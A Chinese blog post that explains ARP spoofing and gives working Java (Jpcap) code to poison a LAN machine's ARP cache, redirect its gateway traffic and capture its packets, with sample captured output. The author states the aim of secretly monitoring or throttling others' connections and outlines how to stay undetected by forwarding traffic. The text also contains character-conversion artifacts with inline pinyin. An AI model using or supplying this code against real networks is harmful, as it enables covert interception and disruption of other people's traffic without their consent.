Rexcj

       沒辦法，那破爛軟件居然連人家網(wǎng)都斷了，我僅僅只是想給他們限速而已（還算有點良心），仔細查看了下文檔，使用的方式都沒問題啊，為什么會這樣呢？想了半天也毫無頭緒，沒辦法，看來只能自己動手了，于是乎上網(wǎng)找了些關于這方面的資料看了下，也寫了一點代碼做試驗，由于時間有限也只寫了一點，不過總體的做法大概是有所了解，在這里就寫一篇文章大概記錄一下自己的做法，以便作為日記又可與大眾分享下。

       其實目前網(wǎng)絡上類似P2P終結者這類軟件，主要都是基于ARP欺騙實現(xiàn)的，網(wǎng)絡上到處都有關于ARP欺騙的介紹，不過為了本文讀者不需要再去查找，我就在這里大概講解一下。

       ARP（Address Resolution Protocol）既地址解釋協(xié)議，主要的目的是用于進行IP和MAC地址解釋的。IP是網(wǎng)絡層協(xié)議，而MAC是被數(shù)據(jù)鏈路層使用。網(wǎng)絡中兩個節(jié)點要進行通信，那么首先發(fā)送端必須要知道源和目的地的MAC地址，而網(wǎng)絡層是使用IP地址，所以要獲得MAC地址，就必須通過IP地址獲取對應的MAC地址，這樣就需要使用ARP協(xié)議將IP地址轉換為MAC地址，而同時為了能夠快速的找到目的地的MAC地址，每個節(jié)點都會有一個ARP緩存，用于保存已經(jīng)轉好好的MAC地址，大家可以在控制臺下使用arp –a指令查看arp緩存表。

       而ARP具體過程就是當需要通過IP獲取一個遠端的的MAC地址的時候，系統(tǒng)會首先檢查ARP表中是否存在對應的IP地址，如果沒有，則發(fā)送一個ARP廣播，當某一個擁有這個MAC地址的節(jié)點收到ARP請求的時候，會創(chuàng)建一個ARP reply包，并發(fā)送到ARP請求的源節(jié)點，ARP Reply包中就包含了目的地節(jié)點的MAC地址，在源節(jié)點接受到這個reply后，會將目的地節(jié)點的MAC地址保存在ARP緩存表中，下一次再次請求同一IP地址的時候，系統(tǒng)將會從ARP表中直接獲取目的地MAC地址，而不需要再次發(fā)送ARP廣播。

       看到這里，ARP的具體過程大概講解了一遍，希望能夠解釋清楚。相信有心的朋友一定已經(jīng)開始考慮ARP欺騙的原理了吧，其實就是利用ARP表進行ARP欺騙，比如一臺局域網(wǎng)內的機器A，通過網(wǎng)關B進行internet連接，而它的arp表中保存著網(wǎng)關B的IP和MAC地址對，如下：

192.168.1.1    —>    MAC1(懶得寫那么長了，就以MAC1作為MAC地址了)

那么也就是說，當A想上網(wǎng)的時候，他所有的數(shù)據(jù)都將先發(fā)送到網(wǎng)關再由網(wǎng)關轉發(fā)出去，那么A的數(shù)據(jù)首先會通過192.168.1.1找到網(wǎng)關的MAC地址MAC1，然后就可把數(shù)據(jù)發(fā)送到網(wǎng)關了。此時你的機器是C，MAC地址是MAC2，你想通過ARP欺騙來獲取A傳輸?shù)臄?shù)據(jù)，那么你所需要做的事情其實很簡單，就是將機器A的ARP表中192.168.1.1對應的MAC地址MAC1改成MAC2即可，這樣子機器A所有發(fā)送到192.168.1.1的數(shù)據(jù)就會發(fā)到MAC地址為MAC2的機器上，也就是你的機器上了。

要更改APR表的記錄，辦法就是偽造一個ARP reply包發(fā)送給機器A，而這個ARP reply包中的源IP為192.168.1.1，MAC地址為MAC2既你的機器的MAC地址即可，機器A接受到后就會將這個源IP和MAC刷新到它的ARP緩存表中，覆蓋原有的記錄，最終這樣就可以達到ARP欺騙的目的了。

講到這里不知道大家是否對ARP欺騙有所了解呢？如果再不了解那就上網(wǎng)搜搜吧，網(wǎng)上很多相關的資料。好了，原理講完了，那就輪到實現(xiàn)了，通過JAVA又如何實現(xiàn)ARP欺騙呢？

從頭到尾來做，當然不是我的作風，JAVA社區(qū)那么龐大，我么應該好好利用，要站在巨人的肩膀上成功嘛，呵呵。有一個開源項目JPCAP，這個項目提供一個中間層接口讓使用者可以調用如wincap/libpcap這些庫對網(wǎng)絡傳輸進行控制，具體可到官方網(wǎng)站查看其文檔。

在這里，我實現(xiàn)了一個簡單的封包截取程序，根據(jù)ARP欺騙的原理，我們所需要做的事情如下：

1、 構建一個ARP Reply包

2、 將該封包發(fā)送到需要欺騙的機器

代碼如下：

public class LocalListener {

    private final static String GATE_IP = "192.168.11.1";
  private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};
    private JpcapCaptor jpcap;                                        //與設備的連接
    private JpcapSender sender;                                     //用于發(fā)送的實例
    private Packet replyPacket;                                      //ARP reply包
    private NetworkInterface device;                           //當前機器網(wǎng)卡設備
    private IpMacMap targetIpMacMap;                        //目的地IP MAC對

    public LocalListener(IpMacMap target) throws Exception {
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();               device = devices[1];
        this.targetIpMacMap = target;
        initSender();
        initPacket();
    }

    private void initSender() throws Exception {
        jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);    //打開與設備的連接
        jpcap.setFilter("ip", true);                                //只監(jiān)聽ip數(shù)據(jù)包
        sender = jpcap.getJpcapSenderInstance();
    }

    private void initPacket() throws Exception {
        //reply包的源IP和MAC地址，此IP-MAC對將會被映射到ARP表
        IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);  
        //創(chuàng)建修改目標機器ARP的包
        replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd); 
        //創(chuàng)建以太網(wǎng)頭信息，并打包進reply包
        replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
                device.mac_address);
    }

    public void listen() throws InterruptedException{
        Thread t = new Thread(new Runnable() {
            public void run() {
              //發(fā)送reply封包，修改目的地arp表， arp表會在一段時間內被更新，所以需要不停發(fā)送
                while(true){
                    send();  
                    try {
                        Thread.sleep(500);
                    } catch (InterruptedException ex) {
                        Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);
                    }
                }
            }
        });
        t.start();
        //截獲當前網(wǎng)絡設備的封包收發(fā)信息
        while(true){
            IPPacket ipPacket = (IPPacket)jpcap.getPacket();
            System.out.println(ipPacket);
        }
    }}


//IP-MAC實體，只用于保存一對IP-MAC地址
public class IpMacMap {
    private String ip;
    private byte[] mac;

    public IpMacMap(){
    }
    
    public IpMacMap(String ip, byte[] mac){
        this.ip = ip;
        this.mac = mac;
    }
    
    public String getIp() {
        return ip;
    }

    public void setIp(String ip) {
        this.ip = ip;
    }

    public byte[] getMac() {
        return mac;
    }

    public void setMac(byte[] mac) {
        this.mac = mac;
    }   
    
}

//ARP reply包生成類，用于根據(jù)目的地址和源地址生成reply包
public class ARPPacketGern{

    public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
        ARPPacket arpTarget = new ARPPacket();
        arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;  //選擇以太網(wǎng)類型(Ethernet)
        arpTarget.prototype = ARPPacket.PROTOTYPE_IP;         //選擇IP網(wǎng)絡協(xié)議類型
        arpTarget.operation = ARPPacket.ARP_REPLY;              //選擇REPLY類型
        arpTarget.hlen = 6;                              //MAC地址長度固定6個字節(jié)
        arpTarget.plen = 4;                              //IP地址長度固定4個字節(jié)
        arpTarget.target_hardaddr = target.getMac();
        arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
        arpTarget.sender_hardaddr = sender.getMac();
        arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
        return arpTarget;
    }
}





//根據(jù)目的地MAC和源MAC構建以太網(wǎng)頭信息，用于傳輸數(shù)據(jù)
public class EthernetPacketGern{
    public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
        EthernetPacket ethToTarget = new EthernetPacket();           //創(chuàng)建一個以太網(wǎng)頭
        ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;   //選擇以太包類型
        ethToTarget.dst_mac = targetMac;
        ethToTarget.src_mac = senderMac;        
        return ethToTarget;
    }
}

    如上代碼實現(xiàn)了創(chuàng)建一個發(fā)送到IP為192.168.11.4的機器的ARP reply封包，其中可看到，reply包中的源IP為192.168.11.1，而源MAC則被改成當前機器的MAC地址，既device.mac_address，這樣當192.168.11.4的機器接收到該reply包后，就會刷新ARP表，并且所有發(fā)送往192.168.11.1的數(shù)據(jù)都會實際發(fā)送到當前運行該程序的機器。程序中創(chuàng)建了一個線程用于循環(huán)發(fā)送reply封包，主要是因為ARP表會在一定時間內更新，所以要不停的發(fā)送才能保證其MAC地址時刻都是被改變的。同時主線程用于監(jiān)聽并打印當前設備的所有IP數(shù)據(jù)包信息，本來此方法只能監(jiān)聽到本機數(shù)據(jù)包的信息，但由于使用了ARP欺騙，所以你會在192.168.11.4發(fā)送數(shù)據(jù)到192.168.11.1的時候截獲其數(shù)據(jù)包，并看到類似如下的信息：

1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6) priority(0) hop(128) offset(0) ident(34922) TCP 1337 > 8016 seq(1062321893) win(65535) S

    其實上例程序雖然可以截獲并監(jiān)聽192.168.11.4的數(shù)據(jù)包，但是如果真的運行起來后，192.168.11.4的機器將會無法上網(wǎng)（假設該機器通過192.168.11.1作為網(wǎng)關上網(wǎng)），這又是為何呢？

    這就是因為本機截獲了192.168.11.4的封包，但是卻沒有將封包轉發(fā)出去，所以實際上數(shù)據(jù)包到了你的機器上后就被中斷了，數(shù)據(jù)包無法發(fā)送出去。既然要監(jiān)聽對方機器，當然不能讓對方知道啦，如果你監(jiān)聽了那臺機器，卻導致對方無法上網(wǎng)，傻子也知道有問題啦，所以以上程序仍然要加個補充，那就是將封包數(shù)據(jù)在轉發(fā)到192.168.11.1上，只要將截獲的封包再send出去就可以了，具體如何做就留給大家想吧，困了，休息了，如果有朋友有興趣又實在想不出如何做的話，可以向我提出來，有必要的話，下次再貼一個完整點的例子吧。

    對了，最后還有補充的地方，那就是我們可以通過同樣的方式刷新網(wǎng)關的ARP，這樣網(wǎng)關接受到的數(shù)據(jù)也會被本機截獲，同樣再通過本機轉發(fā)到目的機器即可。這樣對方既可正常上網(wǎng)，而我們又可截獲對方的數(shù)據(jù)包，如果要進行限速的話，那就是在截獲封包的同時，進行一定的延時，比如一秒只允許多少K的數(shù)據(jù)通過，都可以在這里做手腳，同樣的，具體如何留給大家想吧，^ o ^。